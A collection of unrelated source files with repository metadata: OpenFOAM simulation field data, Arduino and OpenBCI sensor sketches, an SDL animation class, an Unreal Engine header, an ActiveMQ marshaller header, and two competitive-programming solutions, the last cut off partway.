e7f185fd01895ebc7d9618b591977741b36f01ae | 9f9660f318732124b8a5154e6670e1cfc372acc4 | /Case_save/Case20/case4/1400/alphat | 6f47421ffcae765f658a0f90fb546fab342ac6a4 | [] | no_license | mamitsu2/aircond5 | 9a6857f4190caec15823cb3f975cdddb7cfec80b | 20a6408fb10c3ba7081923b61e44454a8f09e2be | refs/heads/master | 2020-04-10T22:41:47.782141 | 2019-09-02T03:42:37 | 2019-09-02T03:42:37 | 161,329,638 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 9,443 | /*--------------------------------*- C++ -*----------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration | Website: https://openfoam.org
\\ / A nd | Version: 6
\\/ M anipulation |
\*---------------------------------------------------------------------------*/
FoamFile
{
version 2.0;
format ascii;
class volScalarField;
location "1400";
object alphat;
}
// * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * //
dimensions [1 -1 -1 0 0 0 0];
internalField nonuniform List<scalar>
459
(
0.000859159
0.000901129
0.000887898
0.000916532
0.00094112
0.000961878
0.000979733
0.00099563
0.00101056
0.00102459
0.00103339
0.0010356
0.00103116
0.00102257
0.0010113
0.000632251
0.000586914
0.000552879
0.000531102
0.000515234
0.000499183
0.000478735
0.000458287
0.000438978
0.000420588
0.00040308
0.000386421
0.000370546
0.000355332
0.000340527
0.00032565
0.000309831
0.000302558
0.000282016
0.00129481
0.0022116
0.00191088
0.00223185
0.00241088
0.00259495
0.00277421
0.00293351
0.00305041
0.00311041
0.00311861
0.00303994
0.002825
0.00240667
0.00172479
0.00102887
0.000943433
0.000753287
0.00123251
0.00156507
0.00178338
0.00187152
0.00180179
0.00146461
0.00128529
0.00114245
0.00102474
0.000924616
0.000838191
0.000762296
0.000693473
0.000629736
0.000579019
0.000535165
0.00066918
0.000384123
0.00169164
0.00327764
0.00212014
0.00313261
0.00340306
0.00358416
0.00371969
0.00382055
0.00389373
0.00393836
0.00395628
0.00391661
0.00377792
0.00348726
0.00297007
0.00216896
0.00111703
0.000870117
0.00226347
0.00266719
0.00269675
0.00261294
0.00221095
0.000588171
0.000520773
0.000470695
0.000433066
0.000404153
0.000381365
0.000363072
0.000348427
0.000337478
0.000380738
0.000438787
0.000765356
0.000457193
0.00210082
0.00487276
0.00208456
0.003457
0.00388901
0.00402704
0.00408994
0.00412198
0.00414918
0.00417721
0.00420929
0.00422097
0.00418165
0.00406016
0.00379895
0.00325775
0.00222197
0.00108761
0.0028258
0.0029781
0.00295017
0.00281526
0.00266174
0.00224473
0.000591385
0.000572761
0.000573127
0.000578338
0.000580639
0.00057446
0.000557218
0.000538077
0.000513374
0.000485281
0.000480367
0.00091538
0.000516398
0.00252254
0.00700485
0.00260163
0.00323837
0.00405193
0.00421061
0.00422923
0.00420748
0.0041955
0.00421512
0.00426927
0.00432949
0.00435744
0.00433269
0.00424864
0.00411778
0.0039494
0.00363782
0.00336211
0.00307667
0.00282378
0.00262531
0.00251711
0.00243576
0.00223596
0.00227013
0.00233187
0.00237376
0.00237608
0.00232569
0.0022009
0.00193273
0.00158749
0.00121754
0.000905056
0.000894347
0.00069534
0.00067891
0.000813725
0.000908518
0.00295932
0.00932395
0.00453551
0.00296106
0.00368485
0.0040902
0.00422926
0.00424292
0.00420504
0.00417319
0.00425829
0.00435774
0.00441866
0.00441665
0.00433883
0.00419704
0.0040125
0.00374735
0.00338903
0.00302365
0.00268387
0.00245615
0.00238382
0.00241777
0.00249686
0.00260706
0.00270345
0.00276651
0.00278813
0.00276461
0.00269471
0.00251784
0.00222423
0.00182725
0.00142228
0.00104218
0.000886887
0.00080266
0.00117895
0.000944216
0.00338988
0.011223
0.00807031
0.00458711
0.00345031
0.00333507
0.00364949
0.00399384
0.0041668
0.00416602
0.004276
0.00437558
0.00443237
0.00442427
0.00433015
0.00415047
0.00392365
0.00367735
0.00338754
0.00301691
0.00263247
0.00239252
0.00233625
0.0023873
0.00248221
0.00258854
0.00268301
0.0027545
0.00279771
0.00281459
0.00281148
0.0027813
0.00257792
0.00222562
0.00185368
0.00148591
0.00126554
0.00120451
0.00124084
0.00103827
0.00349309
0.0109681
0.00934733
0.00787052
0.00611901
0.00484014
0.00427126
0.00420771
0.00432635
0.0043542
0.00437937
0.00441031
0.00442044
0.00437496
0.0042435
0.00402386
0.00377808
0.00357174
0.00337317
0.00303286
0.00262663
0.00238658
0.00232934
0.00236044
0.00242158
0.00248866
0.00255066
0.00260549
0.0026566
0.00271362
0.00279176
0.00290569
0.00299596
0.00271893
0.00249382
0.00240925
0.00255881
0.00294321
0.00382175
0.00162515
0.00341713
0.00412202
0.00484208
0.00516045
0.00520856
0.00497073
0.00468447
0.00449262
0.00439377
0.00436093
0.00437261
0.00438555
0.00435958
0.00426127
0.00406886
0.00379515
0.00354369
0.00340138
0.00330538
0.0030107
0.00260553
0.0023792
0.0023111
0.00230893
0.00232679
0.00234698
0.00236236
0.00237083
0.00237283
0.00236935
0.00236041
0.0023452
0.00232448
0.00230728
0.00232233
0.00236593
0.00238233
0.00231603
0.0021748
0.00151285
0.00309142
0.00589405
0.00561944
0.00540271
0.00519377
0.00502416
0.00489758
0.00477683
0.00464539
0.00449128
0.00429865
0.00405188
0.00374066
0.0033904
0.00316801
0.00314559
0.00318514
0.00293358
0.00258305
0.00238926
0.00230108
0.00225743
0.00223253
0.00221636
0.00220454
0.00219576
0.00219131
0.00219464
0.00221033
0.00224238
0.00229054
0.00234348
0.00240269
0.00245298
0.00246286
0.00241239
0.0021443
0.0012178
0.00290757
0.00646427
0.00609982
0.00576235
0.00548782
0.00524886
0.00500973
0.00477015
0.0044544
0.00409835
0.00372994
0.00335763
0.00297912
0.0026219
0.00259874
0.00287508
0.00317196
0.00311214
0.00291133
0.00274375
0.00261134
0.00249895
0.00240215
0.00232303
0.00226464
0.00222879
0.00221574
0.00222402
0.00224934
0.00228103
0.00233541
0.00241027
0.0024878
0.00254433
0.0025555
0.00251133
0.00185853
0.0012433
0.00229075
0.00248918
0.00265773
0.00282351
0.00265013
0.00249966
0.00228278
0.00209527
0.00191243
0.00173288
0.00158223
0.00144837
0.00131976
0.00118876
0.00104774
0.000888302
0.000756926
0.000756622
0.000756303
0.00072938
0.000706571
0.000692643
0.000685347
0.000684143
0.000689451
0.000701691
0.000720922
0.000746958
0.000779677
0.000819414
0.000867497
0.000927254
0.000994022
0.00106563
0.00114121
0.00122045
0.00122861
0.00110083
0.00105525
0.00126272
)
;
boundaryField
{
floor
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar>
29
(
0.000143917
8.92124e-05
8.24357e-05
7.7306e-05
7.40028e-05
7.15849e-05
6.91302e-05
6.59896e-05
6.28324e-05
5.98346e-05
5.69636e-05
5.42155e-05
5.15863e-05
4.90672e-05
4.66398e-05
4.42648e-05
4.18644e-05
3.92962e-05
3.811e-05
3.47383e-05
3.47377e-05
5.12232e-05
6.26632e-05
7.1761e-05
0.000143915
8.92114e-05
0.000107018
0.00012388
0.000154595
)
;
}
ceiling
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar>
43
(
0.000314684
0.000340042
0.000361417
0.00038241
0.000360596
0.000341534
0.000313826
0.000289635
0.000265819
0.000242186
0.000222151
0.000204169
0.000186716
0.000168738
0.000149127
0.000126576
0.000107643
0.000107607
0.000107557
0.000103626
0.000100286
9.82401e-05
9.71674e-05
9.69915e-05
9.77749e-05
9.95764e-05
0.000102398
0.000106203
0.000110963
0.00011671
0.000123621
0.000132146
0.000141595
0.000151648
0.000162173
0.000173123
0.000174246
0.000156561
0.0001502
0.000178937
0.000456411
0.000542332
0.000392728
)
;
}
sWall
{
type compressible::alphatWallFunction;
Prt 0.85;
value uniform 0.000313493;
}
nWall
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 6(0.000129162 0.000134231 0.000147488 0.000172437 0.000175941 0.00017861);
}
sideWalls
{
type empty;
}
glass1
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 9(0.000119072 0.00017903 0.000231797 0.000284905 0.00033857 0.000393224 0.000446327 0.000459075 0.000449986);
}
glass2
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 2(0.000226248 0.000211342);
}
sun
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar>
14
(
0.000122339
0.000128323
0.000126435
0.000130517
0.00013401
0.00013695
0.000139473
0.000141715
0.000143817
0.000145788
0.000147024
0.000147333
0.000146708
0.000145502
)
;
}
heatsource1
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 3(9.62138e-05 0.000115876 0.000129465);
}
heatsource2
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 4(0.00014648 0.000134425 0.000134424 0.000158793);
}
Table_master
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 9(8.2709e-05 7.25178e-05 6.4839e-05 5.90009e-05 5.44712e-05 5.08715e-05 4.79616e-05 4.56183e-05 4.38578e-05);
}
Table_slave
{
type compressible::alphatWallFunction;
Prt 0.85;
value nonuniform List<scalar> 9(8.3197e-05 8.03974e-05 8.0452e-05 8.12359e-05 8.15817e-05 8.06519e-05 7.80512e-05 7.51524e-05 7.13919e-05);
}
inlet
{
type fixedValue;
value uniform 1.94e-05;
}
outlet
{
type zeroGradient;
}
}
// ************************************************************************* //
| [
"mitsuaki.makino@tryeting.jp"
] | mitsuaki.makino@tryeting.jp | |
920b7d2328cebcb5a912de268203edf3dd08dab9 | c6249170c228c43f8d8e4c585f60b9ae78f22aa7 | /Climate Module/Arduino-Climate-RS485/Arduino-Climate-RS485.ino | a430081f0d7c3ba2e0b176518469441167c4d21e | [] | no_license | Modpon/arduino-modules | 82acc9e709e501108cceaa7456b7f5ffa3140f5f | fb29bee2f3d48481bafb96696581d2305d622b86 | refs/heads/master | 2020-04-03T07:06:10.437322 | 2018-11-23T22:24:20 | 2018-11-23T22:24:20 | 155,093,179 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,095 | ino | /*
BME280 I2C Test.ino
Connecting the BME280 Sensor:
Sensor -> Board
-----------------------------
Vin (Voltage In) -> 3.3V
Gnd (Ground) -> Gnd
SDA (Serial Data) -> A4 on Uno/Pro-Mini, 20 on Mega2560/Due, 2 Leonardo/Pro-Micro
SCK (Serial Clock) -> A5 on Uno/Pro-Mini, 21 on Mega2560/Due, 3 Leonardo/Pro-Micro
*/
/* ==== Includes ==== */
#include <BME280I2C.h>
#include <Wire.h> // Needed for legacy versions of Arduino.
#include <Auto485.h>
#include <DHT.h>
/* ==== END Includes ==== */
/* ==== Defines ==== */
#define SERIAL_BAUD 9600
#define DE_PIN 2
#define RE_PIN 2 /* connect DE and RE on the MAX485 together */
Auto485 bus(DE_PIN, RE_PIN); // new Auto485 wrapper using DE_PIN & RE_PIN to toggle read/write mode on the MAX485
/* ==== END Defines ==== */
/* ==== Global Variables ==== */
BME280I2C bme; // Default : forced mode, standby time = 1000 ms
// Oversampling = pressure ×1, temperature ×1, humidity ×1, filter off,
bool metric = true;
/* ==== END Global Variables ==== */
int gas_sensor_one = 7;
int ldr_sensor1 = A0;
int ldr_sensor2 = A1;
int ldr_sensor3 = A3;
#define DHTPIN 5
#define DHTTYPE DHT22
DHT dht(DHTPIN, DHTTYPE);
/* ==== Prototypes ==== */
/* === Print a message to stream with the temp, humidity and pressure. === */
void printBME280Data(Stream * client);
/* === Print a message to stream with the altitude, and dew point. === */
void printBME280CalculatedData(Stream* client);
/* ==== END Prototypes ==== */
/* ==== Setup ==== */
void setup() {
bus.begin(9600);
pinMode(gas_sensor_one,INPUT);
//pinMode(gas_sensor_two,INPUT);
pinMode(ldr_sensor1, INPUT);
pinMode(ldr_sensor2, INPUT);
pinMode(ldr_sensor3, INPUT);
dht.begin();
while(!Serial) {} // Wait
while(!bme.begin()){
Serial.println("Could not find BME280 sensor!");
delay(1000);
}
}
/* ==== END Setup ==== */
/* ==== Loop ==== */
void loop() {
printBME280Data(&Serial);
printBME280CalculatedData(&Serial);
printGasOne(&Serial);
printLdr1(&Serial);
printLdr2(&Serial);
printLdr3(&Serial);
printDht(&Serial);
delay(5000);
}
/* ==== End Loop ==== */
/* ==== Functions ==== */
void printBME280Data(Stream* client){
bus.set_mode(Auto485::TX); // mode = transmit
float temp(NAN), hum(NAN), pres(NAN);
uint8_t pressureUnit(3); // unit: B000 = Pa, B001 = hPa, B010 = Hg, B011 = atm, B100 = bar, B101 = torr, B110 = N/m^2, B111 = psi
bme.read(pres, temp, hum, metric, pressureUnit); // Parameters: (float& pressure, float& temp, float& humidity, bool celsius = false, uint8_t pressureUnit = 0x0)
/* Alternatives to ReadData():
float temp(bool celsius = false);
float pres(uint8_t unit = 0);
float hum();
Keep in mind the temperature is used for humidity and
pressure calculations. So it is more effcient to read
temperature, humidity and pressure all together.
*/
client->print("Temp:");
client->print(temp,0);
client->println();
client->print("Humid:");
client->print(hum,0);
client->println();
client->print("Pres:");
client->print(pres);
client->println();
bus.set_mode(Auto485::RX); // mode = receive, will pause until all pending serial data has been transmitted
}
void printBME280CalculatedData(Stream* client){
bus.set_mode(Auto485::TX); // mode = transmit
int altitude = bme.alt(metric);
float dewPoint = bme.dew(metric);
client->print("Alt:");
client->print(altitude);
client->println();
client->print("Dew:");
client->print(dewPoint,0);
client->println();
bus.set_mode(Auto485::RX);
}
void printGasOne(Stream* client){
bus.set_mode(Auto485::TX); // mode = transmit
int gas_value;
gas_value=analogRead(gas_sensor_one);
client->print("Gas1:");
client->print(gas_value);
client->println();
bus.set_mode(Auto485::RX);
}
void printLdr1(Stream* client){
bus.set_mode(Auto485::TX); // mode = transmit
int ldr_value;
ldr_value=analogRead(ldr_sensor1);
client->print("LDRone:");
client->print(ldr_value);
client->println();
bus.set_mode(Auto485::RX);
}
void printLdr2(Stream* client){
bus.set_mode(Auto485::TX); // mode = transmit
int ldr_value;
ldr_value=analogRead(ldr_sensor2);
client->print("LDRtwo:");
client->print(ldr_value);
client->println("");
bus.set_mode(Auto485::RX);
}
void printLdr3(Stream* client){
bus.set_mode(Auto485::TX); // mode = transmit
int ldr_value;
ldr_value=analogRead(ldr_sensor3);
client->print("LDRthree:");
client->print(ldr_value);
client->println("");
bus.set_mode(Auto485::RX);
}
void printDht(Stream* client){
bus.set_mode(Auto485::TX); // mode - transmit
int h = dht.readHumidity();
int t = dht.readTemperature();
client->print("DHTh:");
client->print(h);
client->println();
client->print("DHTt:");
client->print(t);
client->println("/n");
if (isnan(h) || isnan(t)) {
Serial.println("Failed to read from DHT sensor!");
// return;
}
}
/* ==== END Functions ==== */
| [
"joey@friesen.rocks"
] | joey@friesen.rocks |
5230c7763fa525e171da56857637ed546df5eaef | 61a9371b4f9f89cce288c1834ea749c47b14f594 | /Side Projects/SDL_Fun (09-18-2011)/animation.cpp | 764d05d66b38c91a3562eb3c9f6c4ac1bd6e3511 | [] | no_license | ashkanhoss29/Resume | 1826d128f862de42a4d03c62f6c17392fc1359da | f40405819d1f71f504a98479e27419b4c84e7788 | refs/heads/master | 2016-09-06T10:39:26.281456 | 2014-10-28T23:03:27 | 2014-10-28T23:03:27 | 24,608,794 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,035 | cpp | #include <iostream>
#include "animation.h"
Animation::Animation()
{
numberOfFrames = 0;
lastFrameApplied = 0;
}
Animation::~Animation()
{
for( int x=0; x < numberOfFrames; x++ )
{
SDL_FreeSurface( frames[x] );
frames[x] = NULL;
std::cout << "Freed frame " << x << std::endl;
}
}
void Animation::addImage( std::string filename )
{
SDL_Surface* surface = NULL;
surface = load_surface( filename );
colorkey_image( 255, 255, 255, surface );
frames.push_back( surface );
numberOfFrames++;
}
void Animation::apply_frame( SDL_Surface* screen, int index)
{
apply_surface( screen, frames[index] );
lastFrameApplied = index;
}
void Animation::apply_frames( SDL_Surface* screen )
{
for( int x=0; x < numberOfFrames; x++ )
{
apply_frame( screen, x );
}
}
void Animation::colorkey_frame( int red, int green, int blue, int index )
{
colorkey_image( red, green, blue, frames[index] );
}
int Animation::getNumberOfFrames()
{
return numberOfFrames;
}
int Animation::getLastFrameApplied()
{
return lastFrameApplied;
} | [
"aho225@uku.edu"
] | aho225@uku.edu |
e693c4fc6e6ff226780b9dc6666552946e54bc77 | 7c81b38038be712d102b98eb6c4842d9db8b768d | /BOJ/1864.cpp | 803a2c45df114a7a294e1966f3a22637a8118580 | [] | no_license | joonas-yoon/PS | 13d1e2ce2e4d105080793a37e7b4fb8632e6af36 | 4d03278ade4665f34d6dfe089234df69450d4edc | refs/heads/master | 2020-12-02T22:17:52.108600 | 2020-04-05T02:30:24 | 2020-04-05T02:30:24 | 96,108,163 | 1 | 0 | null | 2019-08-19T23:59:13 | 2017-07-03T12:24:49 | C++ | UTF-8 | C++ | false | false | 347 | cpp | #include <cstdio>
#include <cstring>
int num(char c) {
for (int i = 0; i < 9; ++i) {
if ("/-\\(@?>&%"[i] == c) return i - 1;
}
return 0;
}
int main() {
char s[10];
while (~scanf("%s ", s) && *s != '#') {
int sum = 0;
for (int i = 0, l = strlen(s); i < l; ++i) {
sum = 8 * sum + num(s[i]);
}
printf("%d\n", sum);
}
return 0;
} | [
"joonas.yoon@gmail.com"
] | joonas.yoon@gmail.com |
6e02672b7195c9ba0980f53ea7f4e281ef881ecd | 414a410de41307a79426d9f10c51d550dfa7b802 | /OpenBCI Cyton Firmware/examples/BoardWithAnalogSensor/BoardWithAnalogSensor.ino | 669fff3067de00b7425831ee0461789ffaa18ff3 | [
"MIT"
] | permissive | CSUChicoIEEE/EEG-Pong-Prototype | 9880a9d4b54d3816bd4d5ceb6cfd92ef4a76a897 | 9e69995c2dc60cb4a1f5dc8330393032a4d2c409 | refs/heads/master | 2022-09-14T14:37:19.356428 | 2022-08-20T23:54:54 | 2022-08-20T23:54:54 | 133,702,560 | 0 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 1,075 | ino | #include <DSPI.h>
#include <OpenBCI_32bit_Library.h>
#include <OpenBCI_32Bit_Library_Definitions.h>
// NOTE: THIS DOES NOT HAVE SD
void setup() {
// Bring up the OpenBCI Board
board.begin();
// Read from the analog sensor and store auxiliary position 0
// take a reading from the ADC. Result range from 0 to 1023
// Will put 10 bits from:
// Aux 1:2 D11 (A5)
// Aux 3:4 D12 (A6)
// Aux 5:6 D17 (A7)
board.setBoardMode(board.BOARD_MODE_ANALOG);
}
void loop() {
// The main dependency of this single threaded microcontroller is to
// stream data from the ADS.
if (board.streaming) {
if (board.channelDataAvailable) {
// Read from the ADS(s), store data, set channelDataAvailable flag to false
board.updateChannelData();
// Send standard packet with channel data and aux data
board.sendChannelData();
}
}
// Check the serial ports for new data
if (board.hasDataSerial0()) board.processChar(board.getCharSerial0());
if (board.hasDataSerial1()) board.processChar(board.getCharSerial1());
board.loop();
}
| [
"33471966+poochi41@users.noreply.github.com"
] | 33471966+poochi41@users.noreply.github.com |
04c62d78e037acf1306f7d16a102e43193e186ad | 1c90d30c2d28f9bdd3c7acaa7c5ed9b5a3f509e6 | /Plugins/DaytonGame/Source/DaytonGame/Public/Structs/ItemStackingInfo.h | 3d45bc06a04ea064adac08215fa72da724a32af9 | [] | no_license | Hengle/StateOfDecay2Template | 83369cf920af1b7449e35e2ba64abdb18a47e9d4 | d7659500d524af81784b45dcef177a7e239a206f | refs/heads/main | 2023-06-01T23:29:00.592731 | 2021-06-16T19:37:41 | 2021-06-16T19:37:41 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 305 | h | // Fill out your copyright notice in the Description page of Project Settings.
#pragma once
#include "ItemStackingInfo.generated.h"
USTRUCT(Blueprintable)
struct DAYTONGAME_API FItemStackingInfo
{
GENERATED_USTRUCT_BODY()
public:
UPROPERTY(EditAnywhere, BlueprintReadWrite)
int MaxStackCount;
};
| [
"kaiheilos@gmail.com"
] | kaiheilos@gmail.com |
dd958f597ccbcf3f8a7b4230299b9988f13f487c | 54e408b705994c23055286e99c6fce59bbc7cebe | /examples/VT1100_SimpleReceive/VT1100_SimpleReceive.ino | 5c1f2c727baba2bd7735fb5fb2d3f35181f415a4 | [
"MIT"
] | permissive | mw75/Vertorix_VT1100_Mini | a60aa9282b6618bd2ab173dfda525ed502b799a9 | f764538af718ac49f3301b299ee7fb5650ceea28 | refs/heads/main | 2023-03-21T20:49:21.547471 | 2021-03-19T23:11:31 | 2021-03-19T23:11:31 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,807 | ino | /*
Board: VT1100MiniSPI
Example: Simple Receive
Description: A simple example that starts the CC2530 as a Coordinator, receives messages then prints them to the serial monitor.
*/
#include <VT1100MiniSPI.h>
#include <SPI.h>
#define InitButton 2 // Button on Digital Pin 2 (D2)
// Library Class Instance
CC2530 myCC2530; // Make an instance of the class from the Library. A short name for referring to variables and functions from the Libraries class.
void setup()
{
pinMode(InitButton, INPUT_PULLUP); // Button to control if the CC2530 should be commissioned.
SPI.begin();
Serial.begin(115200);
delay(100);
// Parameters for CC2530
myCC2530.SetPANID(0x00A2); // PAN ID. Two bytes set between 0x0000 and 0x3FFF. Examples: 0x00A1, 0x00A2 or 0x00A3.
myCC2530.SetLOGICAL_TYPE(0x00); // Device type. Examples: Coordinator = 0x00, Roouter = 0x01 or End Device = 0x02
myCC2530.SetCHANLIST(11); // Wireless Channel. Examples: 11 to 26
myCC2530.POWER_UP(); // Power up the CC2530 (wake on reset).
if (digitalRead(InitButton) == LOW)
{
myCC2530.COMMISSION(); // Clears the configuration and network state then writes the new configuration parameters to the CC2530 non-volitile (NV) memory. This should only be run once on initial setup.
}
myCC2530.AF_REGISTER(0x01); // Register Endpoint
myCC2530.ZDO_STARTUP_FROM_APP(); // Starts the CC2530 in the network
}
void loop()
{
myCC2530.POLL(); // Need to constantly POLL the CC2530 to see if it has any queued data to send to the application processor
if (myCC2530.AF_INCOMING_MSG()) // Function returns true if a AF_INCOMING_MSG is received
{ // Process Incoming Messages in this block of code
myCC2530.LINK_QUALITY(); // Function prints the Short Address and Link Quality from a received message. The link quality is from the last Hop to the receiving device.
uint8_t ReceivedData; // Variable to receive data
myCC2530.COPY_PAYLOAD(ReceivedData); // Copies the received payload to the variable "ReceivedData"
Serial.print("Received Data: ");
Serial.println(ReceivedData);
Serial.println("");
}
}
| [
"vertorix.au@gmail.com"
] | vertorix.au@gmail.com |
0c8ec17bb10e9001e99718db92dc08e428e1f34d | f22065979aba0b472b2bee5742cf77f4cbb25e10 | /Puzzle/Classes/HelloWorldScene.h | a1ba21906d3bc43b69eac2b754947e0acea21121 | [] | no_license | daxingyou/cocos2d-x-games | c71f50f5c4ec9936616e8a9817b88002064fd1a7 | 5ae86168196a5b51416b8b66bef2666faec752d4 | refs/heads/master | 2023-04-04T15:03:48.542593 | 2020-07-06T02:37:13 | 2020-07-06T02:37:13 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 966 | h | #ifndef __HELLOWORLD_SCENE_H__
#define __HELLOWORLD_SCENE_H__
#include "cocos2d.h"
#include "cocostudio/CocoStudio.h"
#include "ui/CocosGUI.h"
#include "DeviceUtils.h"
USING_NS_CC;
using namespace cocos2d::ui;
class HelloWorld : public cocos2d::Layer
{
private:
Sprite*bg;
Sprite*playBtn;
// Button*audioBtn;
EventListenerTouchOneByOne *_listener;
public:
// there's no 'id' in cpp, so we recommend returning the class instance pointer
static cocos2d::Scene* createScene();
// Here's a difference. Method 'init' in cocos2d-x returns bool, instead of returning 'id' in cocos2d-iphone
virtual bool init();
void onExit();
// implement the "static create()" method manually
CREATE_FUNC(HelloWorld);
private:
bool menuBegin(cocos2d::Touch* tTouch,cocos2d::Event* eEvent);
void menuEndCallback(cocos2d::Touch* tTouch,cocos2d::Event* eEvent);
void adapter();
};
#endif // __HELLOWORLD_SCENE_H__
| [
"youxi123"
] | youxi123 |
334be3605523c8ee73419c455918f2ffd5324313 | cf3302a478551167d14c577be171fe0c1b4a3507 | /src/cpp/activemq/activemq-cpp-3.2.5/src/main/activemq/wireformat/openwire/marshal/v6/TransactionInfoMarshaller.h | 146cd8d906e23b42abc7d0cbe994ce17cd20a693 | [
"Apache-2.0"
] | permissive | WilliamDrewAeroNomos/muthur | 7babb320ed3bfb6ed7905a1a943e3d35aa03aedc | 0c66c78af245ef3b06b92172e0df62eb54b3fb84 | refs/heads/master | 2016-09-05T11:15:50.083267 | 2015-07-01T15:49:56 | 2015-07-01T15:49:56 | 38,366,076 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,071 | h | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef _ACTIVEMQ_WIREFORMAT_OPENWIRE_MARSAHAL_V6_TRANSACTIONINFOMARSHALLER_H_
#define _ACTIVEMQ_WIREFORMAT_OPENWIRE_MARSAHAL_V6_TRANSACTIONINFOMARSHALLER_H_
// Turn off warning message for ignored exception specification
#ifdef _MSC_VER
#pragma warning( disable : 4290 )
#endif
#include <activemq/wireformat/openwire/marshal/v6/BaseCommandMarshaller.h>
#include <decaf/io/DataInputStream.h>
#include <decaf/io/DataOutputStream.h>
#include <decaf/io/IOException.h>
#include <activemq/util/Config.h>
#include <activemq/commands/DataStructure.h>
#include <activemq/wireformat/openwire/OpenWireFormat.h>
#include <activemq/wireformat/openwire/utils/BooleanStream.h>
namespace activemq{
namespace wireformat{
namespace openwire{
namespace marshal{
namespace v6{
/**
* Marshaling code for Open Wire Format for TransactionInfoMarshaller
*
* NOTE!: This file is auto generated - do not modify!
* if you need to make a change, please see the Java Classes
* in the activemq-openwire-generator module
*/
class AMQCPP_API TransactionInfoMarshaller : public BaseCommandMarshaller {
public:
TransactionInfoMarshaller() {}
virtual ~TransactionInfoMarshaller() {}
/**
* Creates a new instance of this marshalable type.
*
* @return new DataStructure object pointer caller owns it.
*/
virtual commands::DataStructure* createObject() const;
/**
* Get the Data Structure Type that identifies this Marshaler
*
* @return byte holding the data structure type value
*/
virtual unsigned char getDataStructureType() const;
/**
* Un-marshal an object instance from the data input stream.
*
* @param wireFormat - describes the wire format of the broker.
* @param dataStructure - Object to be un-marshaled.
* @param dataIn - BinaryReader that provides that data.
* @param bs - BooleanStream stream used to unpack bits from the wire.
*
* @throws IOException if an error occurs during the unmarshal.
*/
virtual void tightUnmarshal( OpenWireFormat* wireFormat,
commands::DataStructure* dataStructure,
decaf::io::DataInputStream* dataIn,
utils::BooleanStream* bs ) throw( decaf::io::IOException );
/**
* Write the booleans that this object uses to a BooleanStream
*
* @param wireFormat - describes the wire format of the broker
* @param dataStructure - Object to be marshaled
* @param bs - BooleanStream stream used to pack bits from the wire.
* @returns int value indicating the size of the marshaled object.
*
* @throws IOException if an error occurs during the marshal.
*/
virtual int tightMarshal1( OpenWireFormat* wireFormat,
commands::DataStructure* dataStructure,
utils::BooleanStream* bs ) throw( decaf::io::IOException );
/**
* Write a object instance to data output stream
*
* @param wireFormat - describes the wire format of the broker
* @param dataStructure - Object to be marshaled
* @param dataOut - BinaryReader that provides that data sink
* @param bs - BooleanStream stream used to pack bits from the wire.
*
* @throws IOException if an error occurs during the marshal.
*/
virtual void tightMarshal2( OpenWireFormat* wireFormat,
commands::DataStructure* dataStructure,
decaf::io::DataOutputStream* dataOut,
utils::BooleanStream* bs ) throw( decaf::io::IOException );
/**
* Un-marshal an object instance from the data input stream
*
* @param wireFormat - describes the wire format of the broker
* @param dataStructure - Object to be marshaled
* @param dataIn - BinaryReader that provides that data source
*
* @throws IOException if an error occurs during the unmarshal.
*/
virtual void looseUnmarshal( OpenWireFormat* wireFormat,
commands::DataStructure* dataStructure,
decaf::io::DataInputStream* dataIn ) throw( decaf::io::IOException );
/**
* Write a object instance to data output stream
*
* @param wireFormat - describs the wire format of the broker
* @param dataStructure - Object to be marshaled
* @param dataOut - BinaryWriter that provides that data sink
*
* @throws IOException if an error occurs during the marshal.
*/
virtual void looseMarshal( OpenWireFormat* wireFormat,
commands::DataStructure* dataStructure,
decaf::io::DataOutputStream* dataOut ) throw( decaf::io::IOException );
};
}}}}}
#endif /*_ACTIVEMQ_WIREFORMAT_OPENWIRE_MARSAHAL_V6_TRANSACTIONINFOMARSHALLER_H_*/
| [
"wdrew@aeronomos.com"
] | wdrew@aeronomos.com |
2c82c246bd0b9f21c6ae2f9cd4942481a5388622 | 9a1b942f48265a21e5366e89c680164b9ab65c69 | /Sgu/375.cpp | c7b8d629406feeb93e118c58b7f37c54d5420794 | [] | no_license | hvdieu/acmicpc | 9280633d202447e115656c13c413c3858c9fe3ab | 4a2e6ae1bcbc559ce7dc38117447a3b5c2c260c0 | refs/heads/master | 2021-01-20T01:11:47.520274 | 2012-11-26T11:13:22 | 2012-11-26T11:13:22 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 724 | cpp | #include <map>
#include <set>
#include <list>
#include <cmath>
#include <queue>
#include <stack>
#include <bitset>
#include <vector>
#include <cstdio>
#include <string>
#include <sstream>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <algorithm>
using namespace std;
long long n;
int main()
{
freopen("a", "r", stdin);
cin >> n;
if (n % 2 == 0)
{
cout << "No solution" << endl;
return 0;
}
stack<int> S;
